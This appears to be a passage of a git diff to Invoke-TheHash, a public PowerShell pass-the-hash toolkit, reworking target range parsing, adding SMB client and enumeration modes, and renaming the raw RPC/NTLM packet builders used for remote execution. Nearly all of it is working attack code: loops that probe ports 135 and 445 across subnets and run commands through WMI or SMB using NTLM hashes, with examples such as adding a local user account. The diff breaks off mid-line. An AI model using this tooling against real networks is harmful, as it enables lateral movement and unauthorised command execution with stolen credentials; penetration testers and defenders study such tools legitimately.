"*-*") { - $target_split = $target.split("/")[0] - [uint32]$subnet_mask_split = $target.split("/")[1] - - $target_address = [System.Net.IPAddress]::Parse($target_split) + $target_array = $target[$i].split("-") - if($subnet_mask_split -ge $target_address.GetAddressBytes().Length * 8) + if($target_array[0] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" -and + $target_array[1] -notmatch "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b") { - throw "Subnet mask is not valid" + + if($target_array.Count -ne 2 -or $target_array[1] -notmatch "^[\d]+$" -or $target_array[1] -gt 254) + { + Write-Output "[!] Invalid target $($target[$i])" + throw + } + else + { + $IP_network_begin = $target_array[0].ToCharArray() + [Array]::Reverse($IP_network_begin) + $IP_network_begin = -join($IP_network_begin) + $IP_network_begin = $IP_network_begin.SubString($IP_network_begin.IndexOf(".")) + $IP_network_begin = $IP_network_begin.ToCharArray() + [Array]::Reverse($IP_network_begin) + $IP_network_begin = -join($IP_network_begin) + $IP_range_end = $IP_network_begin + $target_array[1] + $target[$i] = $target_array[0] + "-" + $IP_range_end + } + } - $target_count = [System.math]::Pow(2,(($target_address.GetAddressBytes().Length * 8) - $subnet_mask_split)) + } - $target_start_address = $target_address.GetAddressBytes() - [array]::Reverse($target_start_address) +} - $target_start_address = [System.BitConverter]::ToUInt32($target_start_address,0) - [uint32]$target_subnet_mask_start = ([System.math]::Pow(2, $subnet_mask_split)-1) * ([System.Math]::Pow(2,(32 - $subnet_mask_split))) - $target_start_address = $target_start_address -band $target_subnet_mask_start +# math taken from https://gallery.technet.microsoft.com/scriptcenter/List-the-IP-addresses-in-a-60c5bb6b - $target_start_address = [System.BitConverter]::GetBytes($target_start_address)[0..3] - [array]::Reverse($target_start_address) +function Convert-RangetoIPList +{ + param($IP,$CIDR,$Start,$End) - $target_address = [System.Net.IPAddress] [byte[]] $target_start_address + function Convert-IPtoINT64 + { + param($IP) + + $octets = $IP.split(".") + + return [int64]([int64]$octets[0] * 16777216 + [int64]$octets[1]*65536 + [int64]$octets[2] * 256 + [int64]$octets[3]) + } + + function Convert-INT64toIP + { + param ([int64]$int) + return (([math]::truncate($int/16777216)).tostring() + "." +([math]::truncate(($int%16777216)/65536)).tostring() + "." + ([math]::truncate(($int%65536)/256)).tostring() + "." +([math]::truncate($int%256)).tostring()) + } - $target_list_subnets.Add($target_address.IPAddressToString) > $null + $target_list = New-Object System.Collections.ArrayList + + if($IP) + { + $IP_address = [System.Net.IPAddress]::Parse($IP) + } - for ($i=0; $i -lt $target_count-1; $i++) - { - $target_next = $target_address.GetAddressBytes() - [array]::Reverse($target_next) - $target_next = [System.BitConverter]::ToUInt32($target_next,0) - $target_next ++ - $target_next = [System.BitConverter]::GetBytes($target_next)[0..3] - [array]::Reverse($target_next) - - $target_address = [System.Net.IPAddress] [byte[]] $target_next - $target_list_subnets.Add($target_address.IPAddressToString) > $null - } + if($CIDR) + { + $mask_address = [System.Net.IPAddress]::Parse((Convert-INT64toIP -int ([convert]::ToInt64(("1" * $CIDR + "0" * (32 - $CIDR)),2)))) + } - $target_list_subnets.RemoveAt(0) - $target_list_subnets.RemoveAt($target_list_subnets.Count - 1) + if($IP) + { + $network_address = New-Object System.Net.IPAddress ($mask_address.address -band $IP_address.address) + } + if($IP) + { + $broadcast_address = New-Object System.Net.IPAddress (([System.Net.IPAddress]::parse("255.255.255.255").address -bxor $mask_address.address -bor $network_address.address)) + } + + if($IP) + { + $start_address = Convert-IPtoINT64 -ip $network_address.IPAddressToString + $end_address = Convert-IPtoINT64 -ip $broadcast_address.IPAddressToString } else + { + $start_address = Convert-IPtoINT64 -ip $start + $end_address = Convert-IPtoINT64 -ip $end + } + + for($i = $start_address; $i -le $end_address; $i++) + { + $IP_address = Convert-INT64toIP -int $i + $target_list.Add($IP_address) > $null + } + + if($network_address) { - $target_list_singles.Add($target) > $null + $target_list.Remove($network_address.IPAddressToString) } + if($broadcast_address) + { + $target_list.Remove($broadcast_address.IPAddressToString) + } + + return $target_list } -$target_list.AddRange($target_list_singles) -$target_list.AddRange($target_list_subnets) - -foreach($target in $TargetsExclude) +function Get-TargetList { - $target_list.Remove("$Target") -} + param($targets) -foreach($target in $target_list) -{ + $target_list = New-Object System.Collections.ArrayList - if($type -eq 'WMIExec') + ForEach($entry in $targets) { + $entry_split = $null - if(!$PortCheckDisable) + if($entry.contains("/")) { - $WMI_port_test = New-Object System.Net.Sockets.TCPClient - $WMI_port_test_result = $WMI_port_test.BeginConnect($target,"135",$null,$null) - $WMI_port_test_success = $WMI_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false) - $WMI_port_test.Close() + $entry_split = $entry.Split("/") + $IP = $entry_split[0] + $CIDR = $entry_split[1] + $target_list.AddRange($(Convert-RangetoIPList -IP $IP -CIDR $CIDR)) } - - if($WMI_port_test_success -or $PortCheckDisable) + elseif($entry.contains("-")) { - Invoke-WMIExec -username $Username -domain $Domain -hash $Hash -command $Command -target $target -sleep $Sleep + $entry_split = $entry.Split("-") + + if($entry_split[0] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" -and + $entry_split[1] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b") + { + $start_address = $entry_split[0] + $end_address = $entry_split[1] + $target_list.AddRange($(Convert-RangetoIPList -Start $start_address -End $end_address)) + } + else + { + $target_list.Add($entry) > $null + } + } - - } - elseif($Type -eq 'SMBExec') - { - - if(!$PortCheckDisable) + else { - $SMB_port_test = New-Object System.Net.Sockets.TCPClient - $SMB_port_test_result = $SMB_port_test.BeginConnect($target,"445",$null,$null) - $SMB_port_test_success = $SMB_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false) - $SMB_port_test.Close() + $target_list.Add($entry) > $null } - if($SMB_port_test_success -or $PortCheckDisable) - { - Invoke-SMBExec -username $Username -domain $Domain -hash $Hash -command $Command -CommandCOMSPEC $CommandCOMSPEC -Service $Service -target $target -smb1:$smb1 -sleep $Sleep - } - } - + + return $target_list } +$target_list = Get-TargetList $Target + +if($TargetExclude) +{ + $target_exclude_list = Get-TargetList $TargetExclude + $target_list = Compare-Object -ReferenceObject $target_exclude_list -DifferenceObject $target_list -PassThru } -function ConvertTo-TargetList +if($target_list.Count -gt 0) { -<# -.SYNOPSIS -ConvertTo-TargetList converts an Invoke-TheHash output array to an array that contains only targets discovered to -have Invoke-WMIExec or Invoke-SMBExec access. The output of this function can be passed back into Invoke-TheHash -through the Targets parameter. -.PARAMETER $OutputArray -The output array returned by Invoke-TheHash. + foreach($target in $target_list) + { + Write-Verbose "[*] Targeting $target" -.EXAMPLE -$target_output = Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -$target_list = ConvertTo-TargetList $target_output -Invoke-TheHash -Type WMIExec -Targets $target_list -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose + if($type -eq 'WMIExec') + { -.LINK -https://github.com/Kevin-Robertson/Invoke-TheHash + if(!$PortCheckDisable) + { + $WMI_port_test = New-Object System.Net.Sockets.TCPClient + $WMI_port_test_result = $WMI_port_test.BeginConnect($target,"135",$null,$null) + $WMI_port_test_success = $WMI_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false) + $WMI_port_test.Close() + } -#> + if($WMI_port_test_success -or $PortCheckDisable) + { + Invoke-WMIExec -username $Username -domain $Domain -hash $Hash -command $Command -target $target -sleep $Sleep -Verbose:$VerbosePreference + } -[CmdletBinding()] -param ([parameter(Mandatory=$true)][Array]$Invoke_TheHash_Output) + } + elseif($Type -like 'SMB*') + { -$target_list = New-Object System.Collections.ArrayList + if(!$PortCheckDisable) + { + $SMB_port_test = New-Object System.Net.Sockets.TCPClient + $SMB_port_test_result = $SMB_port_test.BeginConnect($target,"445",$null,$null) + $SMB_port_test_success = $SMB_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false) + $SMB_port_test.Close() + } -foreach($target in $ITHOutput) -{ - - if($target -like "* on *" -and $target -notlike "* denied *" -and $target -notlike "* failed *" -and $target -notlike "* is not *") - { - $target_index = $target.IndexOf(" on ") - $target_index += 4 - $target = $target.SubString($target_index,($target.Length - $target_index)) - $target_list.Add($target) > $null - } + if($SMB_port_test_success -or $PortCheckDisable) + { + + switch($Type) + { + + 'SMBClient' + { + $source = "\\" + $target + "\c$" + + if($PsCmdlet.ParameterSetName -eq 'Auth') + { + Invoke-SMBClient -username $Username -domain $Domain -hash $Hash -source $source -sleep $Sleep -Verbose:$VerbosePreference + } + else + { + Invoke-SMBClient -source $source -sleep $Sleep -Verbose:$VerbosePreference + } + + } + + 'SMBEnum' + { + + if($PsCmdlet.ParameterSetName -eq 'Auth') + { + Invoke-SMBEnum -username $Username -domain $Domain -hash $Hash -target $target -sleep $Sleep -Action $Action -TargetShow -Verbose:$VerbosePreference + } + else + { + Invoke-SMBEnum -target $target -sleep $Sleep -Verbose:$VerbosePreference + } + + } + + 'SMBExec' + { + + if($PsCmdlet.ParameterSetName -eq 'Auth') + { + Invoke-SMBExec -username $Username -domain $Domain -hash $Hash -command $Command -CommandCOMSPEC $CommandCOMSPEC -Service $Service -target $target -sleep $Sleep -Verbose:$VerbosePreference + } + else + { + Invoke-SMBExec -target $target -sleep $Sleep -Verbose:$VerbosePreference + } + + } + + } + + } + + } + + } + +} +else +{ + Write-Output "[-] Target list is empty" } -return $target_list } diff --git a/Invoke-TheHash.psm1 b/Invoke-TheHash.psm1 index 69c442f..ff41a10 100644 --- a/Invoke-TheHash.psm1 +++ b/Invoke-TheHash.psm1 @@ -6,6 +6,7 @@ Invoke-TheHash - PowerShell Pass The Hash Utils https://github.com/Kevin-Robertson/Invoke-TheHash #> Import-Module $PWD\Invoke-TheHash.ps1 +Import-Module $PWD\Invoke-SMBClient.ps1 +Import-Module $PWD\Invoke-SMBEnum.ps1 Import-Module $PWD\Invoke-SMBExec.ps1 -Import-Module $PWD\Invoke-WMIExec.ps1 -Import-Module $PWD\Invoke-SMBClient.ps1
\ No newline at end of file +Import-Module $PWD\Invoke-WMIExec.ps1
\ No newline at end of file diff --git a/Invoke-WMIExec.ps1 b/Invoke-WMIExec.ps1 index a1b6b0f..52b9253 100644 --- a/Invoke-WMIExec.ps1 +++ b/Invoke-WMIExec.ps1 @@ -4,6 +4,9 @@ function Invoke-WMIExec .SYNOPSIS Invoke-WMIExec performs WMI command execution on targets using NTLMv2 pass the hash authentication. +Author: Kevin Robertson (@kevin_robertson) +License: BSD 3-Clause + .PARAMETER Target Hostname or IP address of target. @@ -26,12 +29,11 @@ Default = 10 Milliseconds: Sets the function's Start-Sleep values in millisecond setting if you are experiencing strange results. .EXAMPLE +Execute a command. Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose .EXAMPLE -Invoke-WMIExec -Target 192.168.100.20 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "cmd.exe /c net user WMIExec Winter2017 /add" - -.EXAMPLE +Check command execution privilege. Invoke-WMIExec -Target 192.168.100.20 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 .LINK @@ -68,126 +70,124 @@ function ConvertFrom-PacketOrderedDictionary #RPC -function Get-PacketRPCBind() +function New-PacketRPCBind { param([Int]$packet_call_ID,[Byte[]]$packet_max_frag,[Byte[]]$packet_num_ctx_items,[Byte[]]$packet_context_ID,[Byte[]]$packet_UUID,[Byte[]]$packet_UUID_version) [Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID) $packet_RPCBind = New-Object System.Collections.Specialized.OrderedDictionary - $packet_RPCBind.Add("RPCBind_Version",[Byte[]](0x05)) - $packet_RPCBind.Add("RPCBind_VersionMinor",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_PacketType",[Byte[]](0x0b)) - $packet_RPCBind.Add("RPCBind_PacketFlags",[Byte[]](0x03)) - $packet_RPCBind.Add("RPCBind_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_FragLength",[Byte[]](0x48,0x00)) - $packet_RPCBind.Add("RPCBind_AuthLength",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_CallID",$packet_call_ID_bytes) - $packet_RPCBind.Add("RPCBind_MaxXmitFrag",[Byte[]](0xb8,0x10)) - $packet_RPCBind.Add("RPCBind_MaxRecvFrag",[Byte[]](0xb8,0x10)) - $packet_RPCBind.Add("RPCBind_AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_NumCtxItems",$packet_num_ctx_items) - $packet_RPCBind.Add("RPCBind_Unknown",[Byte[]](0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_ContextID",$packet_context_ID) - $packet_RPCBind.Add("RPCBind_NumTransItems",[Byte[]](0x01)) - $packet_RPCBind.Add("RPCBind_Unknown2",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_Interface",$packet_UUID) - $packet_RPCBind.Add("RPCBind_InterfaceVer",$packet_UUID_version) - $packet_RPCBind.Add("RPCBind_InterfaceVerMinor",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) - $packet_RPCBind.Add("RPCBind_TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_RPCBind.Add("Version",[Byte[]](0x05)) + $packet_RPCBind.Add("VersionMinor",[Byte[]](0x00)) + $packet_RPCBind.Add("PacketType",[Byte[]](0x0b)) + $packet_RPCBind.Add("PacketFlags",[Byte[]](0x03)) + $packet_RPCBind.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCBind.Add("FragLength",[Byte[]](0x48,0x00)) + $packet_RPCBind.Add("AuthLength",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("CallID",$packet_call_ID_bytes) + $packet_RPCBind.Add("MaxXmitFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("MaxRecvFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("NumCtxItems",$packet_num_ctx_items) + $packet_RPCBind.Add("Unknown",[Byte[]](0x00,0x00,0x00)) + $packet_RPCBind.Add("ContextID",$packet_context_ID) + $packet_RPCBind.Add("NumTransItems",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown2",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface",$packet_UUID) + $packet_RPCBind.Add("InterfaceVer",$packet_UUID_version) + $packet_RPCBind.Add("InterfaceVerMinor",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) + $packet_RPCBind.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) if($packet_num_ctx_items[0] -eq 2) { - $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) - $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) - $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a)) - $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface2",[Byte[]](0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a)) + $packet_RPCBind.Add("InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) } elseif($packet_num_ctx_items[0] -eq 3) { - $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) - $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) - $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) - $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x02,0x00)) - $packet_RPCBind.Add("RPCBind_NumTransItems3",[Byte[]](0x01)) - $packet_RPCBind.Add("RPCBind_Unknown4",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_Interface3",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_RPCBind.Add("RPCBind_InterfaceVer3",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_InterfaceVerMinor3",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) - $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x04)) - $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_ContextID4",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) - $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + $packet_RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface2",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) + $packet_RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("ContextID3",[Byte[]](0x02,0x00)) + $packet_RPCBind.Add("NumTransItems3",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown4",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface3",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("InterfaceVer3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("InterfaceVerMinor3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("AuthLevel",[Byte[]](0x04)) + $packet_RPCBind.Add("AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("ContextID4",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) } if($packet_call_ID -eq 3) { - $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) - $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x02)) - $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) - $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + $packet_RPCBind.Add("AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("AuthLevel",[Byte[]](0x02)) + $packet_RPCBind.Add("AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) } return $packet_RPCBind } -function Get-PacketRPCAUTH3() +function New-PacketRPCAUTH3 { param([Byte[]]$packet_NTLMSSP) - [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLMSSP.Length) - $packet_NTLMSSP_length = $packet_NTLMSSP_length[0,1] - [Byte[]]$packet_RPC_length = [System.BitConverter]::GetBytes($packet_NTLMSSP.Length + 28) - $packet_RPC_length = $packet_RPC_length[0,1] + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLMSSP.Length)[0,1] + [Byte[]]$packet_RPC_length = [System.BitConverter]::GetBytes($packet_NTLMSSP.Length + 28)[0,1] $packet_RPCAuth3 = New-Object System.Collections.Specialized.OrderedDictionary - $packet_RPCAuth3.Add("RPCAUTH3_Version",[Byte[]](0x05)) - $packet_RPCAuth3.Add("RPCAUTH3_VersionMinor",[Byte[]](0x00)) - $packet_RPCAuth3.Add("RPCAUTH3_PacketType",[Byte[]](0x10)) - $packet_RPCAuth3.Add("RPCAUTH3_PacketFlags",[Byte[]](0x03)) - $packet_RPCAuth3.Add("RPCAUTH3_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) - $packet_RPCAuth3.Add("RPCAUTH3_FragLength",$packet_RPC_length) - $packet_RPCAuth3.Add("RPCAUTH3_AuthLength",$packet_NTLMSSP_length) - $packet_RPCAuth3.Add("RPCAUTH3_CallID",[Byte[]](0x03,0x00,0x00,0x00)) - $packet_RPCAuth3.Add("RPCAUTH3_MaxXmitFrag",[Byte[]](0xd0,0x16)) - $packet_RPCAuth3.Add("RPCAUTH3_MaxRecvFrag",[Byte[]](0xd0,0x16)) - $packet_RPCAuth3.Add("RPCAUTH3_AuthType",[Byte[]](0x0a)) - $packet_RPCAuth3.Add("RPCAUTH3_AuthLevel",[Byte[]](0x02)) - $packet_RPCAuth3.Add("RPCAUTH3_AuthPadLength",[Byte[]](0x00)) - $packet_RPCAuth3.Add("RPCAUTH3_AuthReserved",[Byte[]](0x00)) - $packet_RPCAuth3.Add("RPCAUTH3_ContextID",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_RPCAuth3.Add("RPCAUTH3_NTLMSSP",$packet_NTLMSSP) + $packet_RPCAuth3.Add("Version",[Byte[]](0x05)) + $packet_RPCAuth3.Add("VersionMinor",[Byte[]](0x00)) + $packet_RPCAuth3.Add("PacketType",[Byte[]](0x10)) + $packet_RPCAuth3.Add("PacketFlags",[Byte[]](0x03)) + $packet_RPCAuth3.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCAuth3.Add("FragLength",$packet_RPC_length) + $packet_RPCAuth3.Add("AuthLength",$packet_NTLMSSP_length) + $packet_RPCAuth3.Add("CallID",[Byte[]](0x03,0x00,0x00,0x00)) + $packet_RPCAuth3.Add("MaxXmitFrag",[Byte[]](0xd0,0x16)) + $packet_RPCAuth3.Add("MaxRecvFrag",[Byte[]](0xd0,0x16)) + $packet_RPCAuth3.Add("AuthType",[Byte[]](0x0a)) + $packet_RPCAuth3.Add("AuthLevel",[Byte[]](0x02)) + $packet_RPCAuth3.Add("AuthPadLength",[Byte[]](0x00)) + $packet_RPCAuth3.Add("AuthReserved",[Byte[]](0x00)) + $packet_RPCAuth3.Add("ContextID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCAuth3.Add("NTLMSSP",$packet_NTLMSSP) return $packet_RPCAuth3 } -function Get-PacketRPCRequest() +function New-PacketRPCRequest { param([Byte[]]$packet_flags,[Int]$packet_service_length,[Int]$packet_auth_length,[Int]$packet_auth_padding,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_opnum,[Byte[]]$packet_data) @@ -199,61 +199,60 @@ function Get-PacketRPCRequest() [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service_length + 24 + $packet_full_auth_length + $packet_data.Length) [Byte[]]$packet_frag_length = $packet_write_length[0,1] [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service_length + $packet_data.Length) - [Byte[]]$packet_auth_length = 